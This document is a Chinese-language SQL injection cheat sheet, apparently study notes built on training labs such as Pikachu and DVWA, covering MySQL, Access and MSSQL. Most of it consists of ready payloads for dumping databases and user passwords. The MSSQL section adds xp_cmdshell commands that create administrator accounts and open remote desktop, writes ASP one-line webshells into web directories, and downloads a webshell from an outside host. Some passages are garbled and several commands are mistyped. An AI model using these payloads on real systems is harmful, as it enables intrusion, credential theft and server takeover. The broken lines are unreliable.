SQL注入
注入原理与查找方法
原理
- 注入最终是数据库,与脚本、平台无关
- 注入产生的原因是接受相关参数未经处理直接带入数据库查询操作
查找方法
-
与数据库交互的相关页面
- http://www.**.com/.php?id=xx (php注入)
- http://www.**.com/.jsp?id=xx (jsp注入)
- http://www.**.com/.aspx?id=xx (aspx注入)
- http://www.*****.com/index.asp?id=8&page=99
-
登录、注册、更新、修改、删除、留言板、查询、搜索、充值等位置–可以提交信息
-
可能出现注入的地方:http头,user agent、cookies、referer、post、get、reguest
如何判断注入
-
and 1=1 或者 and 1=2
- 1=1,正确执行,1=2返回错误
-
单引号,返回数据库错误信息可注入
注入分类
数字型
-
or 1=1–
- 空格+or+空格+1=1(组成true返回值)+’–‘(mysql注释符号)
-
or 1=1#
- 空格+or+空格+1=1(组成true返回值)+’#‘(php注释符号)
-
只能选择不能输入的情况
- 用burpsuite抓包-重发-修改“id=1 or 1=1"-发送
字符型
-
‘ or 1=1–
- 单引号闭合前面的字符+空格+or+空格+1=1(组成true返回值)+’–‘(mysql注释符号)
-
‘ or 1=1#
- 单引号闭合前面的字符+空格+or+空格+1=1(组成true返回值)+’#‘(php注释符号)
-
只能选择不能输入的情况
- 用burpsuite抓包-重发-修改“vince’ or 1=1"-发送
搜索型
-
’%vince%‘ or 1=1;
- 两个%中间是要搜索的内容+单引号闭合前面的字符+空格+or+空格+1=1(组成true返回值)+’#‘(注释符号 )
XX型
-
后台格式类型username=(‘xx’) or 1=1;
- 子主题 1
-
前端输入xx)‘ or 1=1#
- xx)为要搜索的内容+单引号闭合前面的字符+空格+or+空格+1=1(组成true返回值)+’#‘(注释符号 )
注入提交方式
get提交
- 可以在地址栏修改参数提交
- burpsuite抓包后修改提交
post提交
- burpsuite抓包后修改提交
cookies提交
- burpsuite抓包后修改提交
注入攻击支持类型
union注入
-
order by 排序,利用查询的字段不能超过主查询的字段特性,根据返回结果,判断字段数量
-
a’ order by 4#%
- 提示unknow,字段数少于by后面的数值
-
a’ order by 3#%
- 提示没有找到信息,字段数不小于by后面的数字
-
-
构造语句a’ union select database(),user(),version()#%
- 查询当前数据库名,用户名,版本
information_schema注入
-
数据库是MySQL系统自带的数据库
- 保存着关于MySQL服务器所维护的所有其他数据库的信息
-
通过注入获取information_schema.tables表中的信息
-
注入步骤
-
检查注入点’ 与and 1=1 and 1=2
-
order by来判断查询的字段数量
- ’ order by 1,2–+&Submit=Submit#
-
查看数据库用户名和版本、库名(dvwa)
-
union select user(),version()–+&Submit=Submit#
- 用户名和版本
-
'union select 1,group_concat(schema_name) from information_schema.schemata±-+&Submit=Submit 获取mysql所有库
-
获取pikachu数据库的表名
- u’ union select table_schema ,table_name,3 from information_schema.tables where table_schema=‘pikachu’#
pikachu为上一步查询到的数据库名称
- u’ union select table_schema ,table_name,3 from information_schema.tables where table_schema=‘pikachu’#
-
获取pikachu数据库的字段名
- k’ union select table_name,column_name,3 from information_schema.columns where table_name=‘users’#%
-
获取字段值的内容
- kobe’union select username ,password,3 from users#%
获取users表中的用户名和密码,其他用3做为通配 - kobe’union select username ,email,3 from member#%
获取member表中的用户名和邮箱,其他用3做为通配
- kobe’union select username ,password,3 from users#%
-
基于函数报错注入
-
updatexml()
-
函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
-
UPDATEXML (XML_document, XPath_string, new_value);
- 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
- 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
- 第三个参数:new_value,String格式,替换查找到的符合条件的数据
-
实战测试
-
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)–主要利用第二个参数构造注入语句
concat(0x7e,(SELECT database()),0x7e)–拼接字符串–主要修改第二个参数获取不同信息 -
1、爆数据库版本信息
- k’ and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
-
2、爆数据库当前用户
- k’ and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
-
3、爆数据库
- k’ and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
-
4、爆表
-
获取数据库表名
-
k’and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’)),0)#
- 返回数据超过一行,报错,用limit 0,1限制
-
k’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu’limit 0,1)),0)#
- 限制输出1行,limit 0,1两个参数,0是第几行的参数,1是每次输出的行数,更换行号,循环获取,取得全部表名–可以用burpsuite测试器
-
-
-
5、爆字段
-
获取字段名
- k’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users’limit 2,1)),0)#
-
-
6、爆字段内容
-
获取字段内容
- k’ and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#
-
-
-
-
extractvalue()
-
函数也是MYSQL对XML文档数据进行查询的XPATH函数
-
1、爆数据库版本信息
- vince’ and extractvalue(0,concat(0x7e,version()))#
-
2、爆数据库当前用户
- vince’ and extractvalue(0,concat(0x7e,SELECT user()))#
-
3、爆数据库
- k’ and extractvalue(1,concat(0x7e,(SELECT database()))#
-
4、爆表
-
获取数据库表名
-
k’and extractvaluel(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’))#
- 返回数据超过一行,报错,用limit 0,1限制
-
k’ and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu’limit 0,1))#
- 限制输出1行,limit 0,1两个参数,0是第几行的参数,1是每次输出的行数,更换行号,循环获取,取得全部表名–可以用burpsuite测试器
-
-
-
5、爆字段
-
获取字段名
- k’ and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users’limit 2,1))#
-
-
6、爆字段内容
-
获取字段内容
- k’ and extractvalue(1,concat(0x7e,(select password from users limit 0,1))#
-
-
-
floor()
- MYSQL中用来取整的函数.
insert注入
-
进入网站注册页面,填写网站注册相关信息,通过Burp抓包在用户名输入相关payload
-
oldboy’or updatexml(1,concat(0x7e,(命令)),0) or’
-
- 爆表名
- oldboy’or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1)),0) or’
-
- 爆列名
- ’ or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users’limit 2,1)),0) or’
-
- 爆内容
- ’ or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or’ 等同
’ or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or ‘1’=‘1’’
-
update注入
-
update用于用户登陆端
- ’ or updatexml(0,concat(0x7e,(database())),0) or’
delete注入
-
一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入
- 注入位置(delete from message): where id=56
- 注入内容: or updatexml(2,concat(0x7e,(database())),0)–前面有空格
- 1、在浏览器操作,首先复制删除按钮地址,粘贴到新的地址栏,再加入注入语句,执行
- 2、在burpsuite中,抓包、重发、(注意:选中注入代码和其前面的空格,右键-转换选择-URL-特殊字符的URL编码-发送)
http header注入
- 登录帐号和密码,登陆后去BurpSuite中找到登陆的GET请求,将拦截到的信息发到burpsuite重发模块
- 去掉user agent:的信息,添加单引号 ” ,观察响应,如果有数据库报错,则存在注入点
- 用updatexml方法,暴库 ’ or updatexml(1,concat(0x7e,database ()),0) or ’
如果暴库成功,其他参考 updatexml
cookie注入
- Cookie是网站为了识别用户身份来跟踪会话的
- 后端生成,前端校验,返回响应,如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点
- 在 ant[uname]=admin后添加一个’观察反馈的MYSQL的语法报错,发现了存在SQL注入漏洞
- 用updatexml方法,暴库 'and updatexml (1,concat(0x7e,database()),0)#
如果暴库成功,就可以参考updatexml方法获取数据库其他信息
盲注
-
在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。
-
boolian(布尔型)盲注
-
判断表名长度
- 使用length来判断表名的长度,判断出长度后就能多次输入payload来爆破出每一个表名的字符。输入语句:select length(database())<xx;。xx估计表名长度值,pikachu长度为7
- 与后面的xx(数字)进行比较,根据语句真假返回信息判断是否错在注入,可用 ><=任何一种
- 返回1,那么就会爆出选择的信息,返回0,就会返回 您输入的username不存在!
- 使用 vince’ and ascii(substr(database(),1,1))=112#,就可以获得数据库名称
其他参考information_schema报表方法
-
判断表名
注入语句:select ascii(substr(database(),1,1))>xx;- 等号成立时,根据数值换算字符
获取数据库名称的第1个字符的ascii码数值 - 修改datebase(),1,1 修改datebase(),2,1
继续之前的操作,直到获取全部数据库名称
- 等号成立时,根据数值换算字符
-
-
base on time(时间型)盲注
-
盲注语句:vince’ and sleep(x)#
-
根据服务器对盲注语句中sleep(x)的响应情况,判断是否存在注入点
-
构造拼接语句: vince’ and if(substr(database(),1,1)=‘X’ ,sleep(10),null#,
‘X’ (猜测点)’,如果猜测真确,那么就会响应10秒,如果错误会立刻返回错误。 -
vince’ and if(substr(database(),1,1)=‘p’,sleep(10),null)#
- 判断出database的表名的一个字符为p。通过这个办法我们就能逐步向下获取数据。
-
-
宽字节注入
-
当后台PHP扩展参数magic_quotes_gqc设为ON时
- 所有的’(单引号),"(双引号),(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。
-
\的URL编码是 %5C ,当我们在单引号前面加上%df的时候,最终就会变成 運’,如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df 是一个宽字符,也就是運,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
’ =======>'单引号转义后占两个字节,所以我们需要通过繁体字%df构造两个字节,最终用運干掉了\,也就是说被運占领了\ 所以最后在页面也不会显示出来.
小提示: 数字和字母占一个字节,汉字占两个字节。- 通过宽字节构造,%df’ 获取单引号从而使注入语句生效
-
注意:宽字节空格、#如果被URL编码了,可能造成不能成功。
-
解决办法:通过burpsuite抓包,将被URL编码的转义注入语句修改回来(%df’ or 1=1#)
- 注意%df后面有单引号+空格+or+空格+1=1#
-
-
注:substr()函数 substr(string,start,length)
string(必需)规定要返回其中一部分的字符串。
start(必需)规定在字符串的何处开始。
length(可选)规定被返回字符串的长度。 -
实际操作中通常不会使用手动盲注的办法,可以使用sqlmap等工具来增加盲注的效率。
-
哪些地方没有魔术引号的保护?
(1) S E R V E R 变 量 P H P 5 的 _SERVER 变量 PHP5的 SERVER变量PHP5的_SERVER变量缺少magic_quotes_gqc的保护,导致近年来X-Forwarded-For的漏洞猛爆,所以很多程序员考虑过滤X-Forwarded-For,但是其它的变量呢?
(2)getenv()得到的变量(使用类似 S E R V E R 变 量 ) ( 3 ) _SERVER 变量) (3) SERVER变量)(3)HTTP_RAW_POST_DATA与PHP输入、输出流
Access数据库
猜解数据库表名
-
and exists(select * from users)
- exists函数,是否存在,返回值为布尔类型,存在返回真,不存在返回假
- and前面有空格,users为猜测的表名,如果返回错误说明users表不存在,换一个表名去猜解,比如administrator,靠运气,不正确就继续换,直到猜出来
- 常用表名:admin \administrator \mysql_aadmin \root
猜解字段名
-
以上一步猜解出来的数据库表名:administrator为基础继续猜解
-
and exists(select username from administrator)
- username为猜测的字段名称,administrator为上一步猜到的表名
- 常用字段名称user \users \users_name \username \user_name \password \passwd
猜解字段长度
-
and (select top 1 len(user_name) from administrator)>1
- user_name为上一步猜到的字段名,top从顶部开始,1 只查询一行,len(user_name) 字段名的长度
- and前面有空格,更换末尾出的1,返回正确值说明数字小了,返回错误值说明数字大了,找到=的那个正确返回值
猜解字段内容
-
and (select top 1 asc(mid(user_name,1,1)) from administrator)>0
- asc函数,返回ascii数值,mid(user_name,1,1)返回第一个参数的第1个字符
- 说明:ASCII值大于0 ,字段值应该为字母,
如果是小于0那么说明是汉字 - 更改末尾的0,通过返回值情况,判断数值大小,直到得到正确的数值,a的ascii数值为97
-
and (select top 1 asc(mid(user_name,2,1)) from administrator)>99
- mid(user_name,2,1)返回第一个参数的第2个字符
-
根据字段长度,将所有字符都猜解出来为止
-
继续猜解后面的字段内容-----很累,
- 可看出password的值为32位MD5加密,使用MD5在线破解工具进行破解,得到明文密码为admin
- 在线解密工具:www.cmd5.com
-
sql注入中的高级查询功能
-
猜字段数目
order by-
order by 1
order by 2
…
order by n-1
order by n- 判断:
n-1时返回正常,
n时返回错误,
那么说明字段数目为n
- 判断:
-
-
爆字段内容
union select联合查询-
and 1=2 union select1, 2, 3…, n from 表名
- 根据返回的结果判断哪个字段可以注入
然后用字段名代替数字的位置,爆出字段内容
- 根据返回的结果判断哪个字段可以注入
-
and 1=2 union select 1,user_name,password,4,5,6,7 from administrator
- 这样就可以获得用户名密码了,直接登陆后台查询吧
-
-
-
偏移注入
- UNION SELECT 1,2,3,4,* from administrator 分别用号代替数字,直到返回正常页面。发现在4的时候页面返回正常,接着我们用7-4=3(代表administrator 有3个字段)再接着用32+1=7来构造第三步注入语句。
- UNION SELECT 1, a.id,b.id, * from (administrator as a inner join administrator as b on a.id=b.id) 注:a.id ,b.id 每个占三个字段,就是上面3*2
- 如果用户名和密码没暴出来,并且字段数多的情况下(例如:10个字段,那就是33+1=10),那么通过下例语句还可以接着暴用户名和密码:http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,a.id,b.id,c.id, from ((administrator as a inner join administrator as b on a.id=b.id) inner join administrator as c a.id=c.id)
-
跨库注入
-
UNION SELECT 1,adminpassword,username,4,5,6,7 from
[C:\wwwtest\2AspCMS\AspCms_data\data.asp].Aspcms_Admins -
比较难,前提是要知道B网站的目录路径,而且要知道数据库名称及后缀,全凭运气
-
小提示
- access数据库都是存放在网站目录下,后缀格式为mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库,如果是MSSQL、MYSQL等,一般数据库是存储在数据库安装路径下,后缀格式为myi,myd,frm,mdf 不能通过下载得到库。除非走狗屎运,对方管理员把网站库备份在网站目录下。
mssql数据库
基本检测
-
判断是否是MsSQL注入点
- and exists (select * from sysobjects)
页面返回正常,则说明为MsSQL注入点。
- and exists (select * from sysobjects)
注入点权限判断
-
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’))
-
判断是否sa权限用户
- 可以或者系统xshell权限
-
-
and 1=(select is_srvrolemember(‘db_owner’))
-
判断是否db_owner权限用户
- 可以或者webshell权限
-
-
and 1=(select is_srvrolemember(‘public’))
-
判断是否public权限用户
- 可以获取数据库内容权限
-
爆表参考
- http://blog.csdn.net/xabc3000/article/details/7615378
相关内容查询
-
查版本
- and @@version>0
-
判断MsSQL支持多行语句查询
- ;declare @d int
-
是否支持子查询
- and (select count (1) from [sysobjects])>=0
-
获取当前数据库用户名
- and user>0
-
获取当前数据库名称
- and db_name>0
-
当前数据库名
- and l=convert (int,db_name ()) 或 1=(select db_name ())
-
本地服务名
- and 1=(select @@servername)
-
判断是否有库读取权限
- and 1=(Select HAS_DBACCESS (‘master’))
利用MsSQL扩展存储注入攻击
-
扩展存储过程是MsSQL提供的特殊功能。所谓“扩展存储过程”,其实就是一个普通的Windows系统DLL文件,按照某种规则实现了某些函数功能.MsSQL利用扩展存储可以实现许多强大的功能,包括对系统进行操作.利用这个特性,在实施MsSQL注入攻击时,可以更容易地对系统进行控制。
-
查看xp_cmdshell扩展存储过程是否被删除
- and 1=(Select count(*) FROM master. dbo.sysobjects Where xtype =‘X’ AND name = ‘xp_cmdshell’)
-
查看xp_regread扩展存储过程是否被删除
- and 1=(Select count(*) FROM master. dbo.sysobjects Where name = ‘xp_regread’)
-
如果扩展存储被删除,可执行如下查询进行恢复。(xp_cmdshell)
-
;exec sp_dropextendedproc ‘xp_cmdshell’
- 这条查询语句,是在恢复前先删除xp_cmdshell,以后再在后面重新进行创建,然后执行如下查询。
-
;exec sp_dropextendedproc ‘xp_cmdshell’ ,’xplog70.dll’
- 该语句是利用系统中默认的“xplog70.dll”文件,自动恢复xp_cmdshell
-
;exec sp_dropextendedproc ‘xp_cmdshell’,’c:\xplog70.dll’
- 如果恢复不成功,说明该文件被改名或删除,可以上传一个“xplog70.dll”文件,自定义路径进行恢复。
-
最常利用的扩展存储攻击
- xp_cmdshell—利用此存储过程可以直接执行系统命令。
- xp_regread—利用此存储过程可以进行注册表读取。
- xp_regwrit一利用此存储过程可以写入注册表。
- xp_dirtre一利用此存储过程可以进行列目录操作。
- xp_enumds—利用此存储过程可以进行ODBC连接。
- xp_loginconfig-利用此存储过程可以配置服务器安全模式信息。
- xp_makecab一一利用此存储过程可以创建压缩卷。
- xp_ntsec_enumdomains-利用此存储过程可以查看domain信息。
- xp_terminate_jroces一利用此存储过程可以查看终端进程,给出一个进程PID.
分类攻击
-
SA权限下扩展存储攻击利用方法
-
当MsSQL注入点具备sa权限时,只需提交各种扩展存储查询语句,就可以实现危害极大的攻击。
-
利用xp_cmdshell可执行命令,例如提交如下查询,可查看服务器C盘目录。
- ;exec master…xp_cmdshell ‘dir c:’
-
最常见的利用方法是直接添加管理员账号,利用远程终端进行登录控制。
-
然后可以利用命令打开3389远程终端连接,并修改终端连接端口号。
-
;exec master…xp_cmdshell ‘sc config termservice start = auto’
-
;exec master…xp_cmdshell ‘net start termservice’
-
;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server”/v fDenyTSConnections /t REG_DWORD /D 0X0 /F’
- //允许外部连接
- 注0x0 改0x1就是关闭
-
;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEN\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp”/v PortNumber /t REG_DWORD’
- //改端口到80
-
事实上,只要可以执行系统命令,几乎任意的攻击操作都可在此基础上实现进行。
-
-
添加一个用户名和密码都为test的管理员账号
-
;exec master…xp_cmdshell ‘net user test/add’
- 添加账户
-
exec master…xp_cmdshell ‘net locaigroup administrators test/add’
- 提升管理员权限
-
-
-
xp_regwrite操作注册表与开启沙盒模式
-
;xp_regwrite’HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Windows\currentversion\run’,
-
‘black’,‘REG_SZ’,‘net user test test /add’
-
利用xp_regwrite来开启沙盒模式,从而执行系统命令。
-
开启沙盒模式
- execmaster…xp regwrite’HKEY_LOCAL_MACHINE’,‘SOFTNARE\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG DWORD’,l
-
利用jet.oledb执行如下系统命令
- select * from openrowset(‘microsoft.jet.oledb.4.O’,’;database=c:\windows\system32\ias\ias.mdb’,‘select shell(“net user test test /add”)’)
- 注意,如果注入点的参数是integer数字型,就可指定“ias.mdb”数据库;如果是string字符型,则可指定连接dnary.mdb.
如果是Windows 2000系统,数据库的路径应该指定为:“x:\winnt\system32\ias\ias.mdb”
-
-
-
利用sp_makewebtask写入一句话木马
-
木马写入到服务器磁盘中的Web目录下,首先需要将一句话木马转换成URL格式
-
在线url转码/解码
- http://www.jsons.cn/urlencode/
- https://tool.oschina.net/encode?type=4
-
-
exec sp_makewebtask
‘c:\inetpub\wwwroot\yjh.asp’,‘select’’ %3C%25%65%78%65%63%75%74%65 %72%65%71%75%65%73%74%28%22%76%61%6C%75%65%22%29%25%3E’’’–- 木马原文:<%execute request(“value”)%>
-
使用一句话木马客户端连接木马,可以方便地上传一个大型的ASP木马后门
-
-
利用sp_oacreate存储远程下载文件
-
sa权限下可以调用sp_oacreate存储过程来完成更多功能,如远程下载文件到服务器上,从而间接获得一个WebShell.
- 可以将一个WebShell文件上传到某个网站空间中,假设文件链接地址如下:
http://www.test.com/teat.txt
- 可以将一个WebShell文件上传到某个网站空间中,假设文件链接地址如下:
-
在注入点处提交如下查询
- DECLARE @B varbinary(8000),@hr int,
@http INT,@down INT EXEC sp_oacreate
(Microsoft.XMLHTTP],@http output EXEC
@hr = sp_oamethod @http,[Open],null,[GET],
[http://www.test.com/test.txt],O EXEC @hr = sp_oamethod @http,[Send],null EXEC @hr=sp_
OAGetProperty @http,[responseBody],@B output EXEC @hr=sp_oacreate [ADODB.Stream],@down
output EXEC @hr=sp_OAGetProperty @down, [Type],1 EXEC @hr=sp OASetProperty @down,[mode],3
EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write],null,@B EXEC
[hr=so_oamethod @down,[SaveToFile].null.(c:\inetpub\wwwroot\WebShell.asp],l -
- DECLARE @B varbinary(8000),@hr int,
-
即可下载文件“http://www.test.con/test.txt”的内容到“c:\inetpub\wwwroot\WebShell.asp"成功写入一个WebShell.
-
-
sp_addlogin扩展管理数据库用户
-
exec master.dbo.sp_addlogin test,password
- 添加一个sa权限的数据库用户
-
exec masterdbo.sp_addsrvrolemember test,sysadmin
- 删除一个sa权限的数据库用户
-
-
xp_servicecontrol管理服务
-
要停掉或激活某个服务,可利用xp_servicecontrol扩展执行查询。
-
;exec master…xp_servicecontrol ‘stop’,‘schedule’
- 停掉服务计划
-
;exec master…xp_servicecontrol ‘start’,‘schedule’
- 激活服务计划
-
;exec master…xp servicecontrol ‘start’,‘server’
- 激活服务
-
-
-
dbowner权限下的扩展攻击利用方法
-
判断数据库用户权限
- and 1=(SELECT IS_MEMBER(‘db_owner’));–
-
搜索Web目录
-
;drop table black;create table temp(dir nvarchar (255), depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY (1,1));–
- 该语句可创建一个临时表,一共4个字段,前三个字段用于存放执行存储过程xp_dirtree返回的结果,ID字段则方便查询指定内容。
-
;insert into temp(dir,depth,files) exec master.dbo.xp_dirtree ‘c:’,1,1–
- 将指定目录的文件和文件夹名称插入到临时表中,这里查询的是C盘目录路径。
-
and (select dir from temp where id=1)>0
- 查询临时表中的内容
也就是指定的目录文件和文件夹名 - 由于不能一次性获取所有目录文件和文件夹名,因此需要更改ID的值,依次列出文件和文件夹来。
通过此方法,可以遍历所有盘符,从而找到Web目录路径。
- 查询临时表中的内容
-
-
获取数据库用户名
-
and db_name() =O–
- 举例 http://192.168.1.55/sqlserver/1.aspx?xxser=1 and db_name() =O–
-
-
写入一句话木马
-
http://192.168.0.102/sqlserver/1.aspx?xxser=1;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk=‘c:\test1’ with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk=‘C:\wwwtest\iis-xxser.com–wwwroot\yjh.asp’;alter database testdb set RECOVERY simple
- 执行完毕后,就会在指定的Web目录下生成一个名为“yjh.asp”的后门文件,用一句话木马客户端连接即可得到WebShell.
- 使用一句话木马客户端连接木马,可以方便地上传一个大型的ASP木马后门
-
-
MsSQL注入猜解数据库技术
-
having查询爆表名
-
having 1=1–"
- 从返回的错误信息中即可得到当前表名与第一个字段名
-
-
group by查询字段名
-
group by 字段名 1 having 1-1–
- 从页面返回的错误信息中,即可得知第二个字段名
-
group by 字段名1,字段名2 having 1=1–
- 从页面返回的错误信息中,即可得知第三个字段名
-
group by 字段名1,字段名2,字段名3…字段名n having 1=1–
- 直到页面返回正常信息,即可得到所有的字段名
-
order by与数据类型转换爆错法
-
如果MsSQL数据库打开了错误回显,那么可以通过MsSQL数据库的返回信息爆出所有数据库信息。此方法非常强大,可获得所有数据库名、任意表和字段的名称、内容。
-
爆所有数据库名
-
and db_name() =0–
- 从返回的出错信息中即可获得当前数据库名
-
and db_name(n)>0–
- 爆所有的数据库名,使用查询语句
- 当数字n为1时,即可得到第一个数据库名,n为2时可得到第二个数据库名。通过增加n的值,可以遍历出所有的数据库名称。
-
-
爆数据库路径和名称
-
and%200=(select%20top%201%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%203%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)–
- %20=空格
-
展示结果
-
-
爆当前库中的所有表与跨库爆表
-
%20and%20(select%20cast(count(1)%20as%20varchar(10))%2bchar(94)%20from%20[sysobjects]%20where%20xtype=char(85)%20and%20status!=1)=1–
- %20=空格
-
%20and%20(select%20top%201%20cast%20(name%20as%20varchar(256))%20from(select%20top%202%20id,name%20from%20[sysobjects]%20where%20xtype=char(85)%20and%20status!=1%20order%20by%20id)t%20order%20by%20id%20desc)=1–
- 爆出当前数据库中全部表的数目
-
and(select top 1 cast (name as varchar(256)) from(select top 数字n id,name from [sysobjects] where xtype=char(85) and status! =0 order by id)t order by id desc)=0–
- 递增查询语句中的数字n,就可以遍历出当前数据库中的所有表名
-
要爆出任意数据库中的表名,则可提交如下查询语句
-
and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 1 name from testdb.dbo.sysobjects where xtype=0x7500))–
- 递增查询语句中的数字n,就可以遍历出当前数据库中的所有表名
-
-
-
爆所有字段名
-
and (select top 1 cast (id as nvarchar (20)) %2bchar(124) from [库名]…[sysobjects] where name='表名 ') =0–
- 可以爆出指定表的dbid值,根据表的dbid值才能定位到表中的字段
-
and(select cast(count(1) as varchar (10)) %2bchar (94) from[库名]…[syscolumns] where id=dbid 值)=0–
- 可以爆出得到字段列名数目
-
and (select top 1 cast(name as varchar(8000)) from (select top n colid,name from [库名]…[syacolumns] where id=dbid 值 order by colid) t order by colid desc)=0–
- 通过递增n的值,就可以得到所有字段名
-
-
快速查询包含管理员账号的表名及字段名
-
and (select top 1 t_name%2bchar(124)%2bc_name from (select top 20 object_name(id) as t_name, name as c_name from syscolumns where charindEx(cast(关键字十六进制 as varchar (2000)),name)>O and left (name, 1)!=0x40 order by t_name asc) as T order by t_name desc) >0–
- 从返回信息中,即可得到包含关键字的表名和字段名
-
-
爆字段内容
-
爆出列的总数目,提交语句
-
and (select cast (count (1) as varchar (8000) ) %2bchar(94)from[库名]…[表名]where 1=1) >0–
- 从返回信息中查看到字段的记录数目
-
-
爆指定字段的值
-
and (select top 1 isnull
(cast([字段1 as nvarchar(4000)),char(32))%2bchar(94)%2bisnull (cast ([字段 2 ] as nvarchar (4000)),char(32)) from [表名] where 1=1 order by [字段1])=O–- 得到第一个数据内容
-
and (select top 1 isnull(cast([字段1] as nvarchar(4000)),char(32))%2bchar(94)%
2bisnull (cast ([字段2] as nvarchar(4000)),char(32)) from [表名] where 1=1 and name not in (select top n name from [表名]) where 1=1 order by [字段1]))=0–- 通过递增n的值,可以得到其他字段记录内容
-
-
查询爆库的另一种方法
-
爆所有数据库名
-
and 1=(select name from master.dbo.sysdatabases where dbid=1)–
- 改变dbid的值,可以依次爆出不同的库名
-
-
爆出当前数据库中的所有表
-
%20and%20(select%20top%201%20name%20from%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=0X75%20order%20by%20name)%20t%20order%20by%20name%20desc)=0
- 其中0X75是u的十六进制,增加n数字的值,就可以爆出当前数据库的所有表名
-
-
跨库查询其他数据库的表名
-
and (select top 1 name from (select top n name from 数据库名…sysobjects where xtype=0X75 order by name) t order by name desc)=0
- 增加n数字的值,就可以爆出指定数据库的所有表名
-
-
爆字段名及字段值
-
and (select col_name(object_id(‘表名’),n))=0
- 增加数字n的值,就可以得到表中所有字段名
-
and (select top 1 字段名 from 表名)>0
- 得到第一个字段值
-
and (select top 1 字段名 from 表名 where 字段名<>字段值1)>0
- 爆出其他字段值
-
union select查询注入技术
-
null替换查询
-
用order by检测出字段数目 3
- 接着利用union联合查询把这3个数字替换为null确认
-
and 1=2 union all select null,null,null,null,…from 当前表名
例如:and 1=1 union all select null,null,null from sysobjects- 字段数目为几就加几个null进行联合查询。由于null可代表字符或数字类型.因此不会出现数据类型转换出错提示。
-
-
确认数据类型
-
如果页面返回正常,则将null逐个用数字替换
-
and 1=2 union all select 1,null,null,null,…from 当前表名
-
and 1=2 union all select 1,2,null,null,…from 当前表名
- 在替换的过程中,返回页面提示数据类型出错,则说明该位置处的数据类型为文字text,将相应的数字处修改为任意字符,如’text’,并继续进行替换
- 举例:and 1=1 union all select 1,‘text’,null from sysobjects
-
and1=1unionallselect 1,‘text’,3 fromsysobjects
- 页面正常,说明只有字段2位置处查询数据类型号为text
-
如果字段数为 n,则继续替换
-
-
查询所有数据库名
-
and1=2unionallselect 1,(select name from master.dbo.sysdatabases where dbid=1),3 fromsysobjects
- 增加查询语句中的bdid的值,获取数据库列表中所有数据库名
-
-
查询数据库中的所有表
-
将数字或字符处替换
-
(select top 1 name from (select top n name from sysobjects where xtype=0x75 order by name) t order by name desc)
-
或者(select top 1 name from sysobjects where xtype=0x75 and name not in(select top n name from sysobjects where xtype=0x75))
- 0x75是u的十六进制,增加n数字的值,就可以得到当前数据库的所有表名
-
跨库查询其他数据库的表名
- (select top 1 name from (select top n name from 数据库…sysobjects where xtype=0x75 order by name) t order by name desc)
- 增加n数字的值,就可以查询指定数据库的所有表名
- (select top 1 name from [数据库名]…sysobjects where xtype=’u’ and name not in(select top n name from[数据库名] sysobjects where xtype=’u’))
-
-
查询字段名及字段值
-
数字或字符处替换
-
and 1=2 union all select 1,(select col_name(object_id(‘admin’),n)),3 from sysobjects
- 增加数字n的值,就可以得到表中的所有字段名
-
获取字段内容,可将数字或字符处替换为如下
-
and 1=2 union all select 1,(select top 1 name from admin),3 from sysobjects
- 得到第一个字段值
-
and 1=2 union all select 1,(select top 1 passWord from admin where name=‘yuan’),3 from sysobjects
-
-
同时返回用户名与密码
-
and 1=2 union all select 1,(select top 1 isnull(cast([name] as nvarchar(100)),char(32))%2bchar(94)%2bisnull(cast (password as nvarchar(100)),char(32)) from [admin]),3 from sysobjects
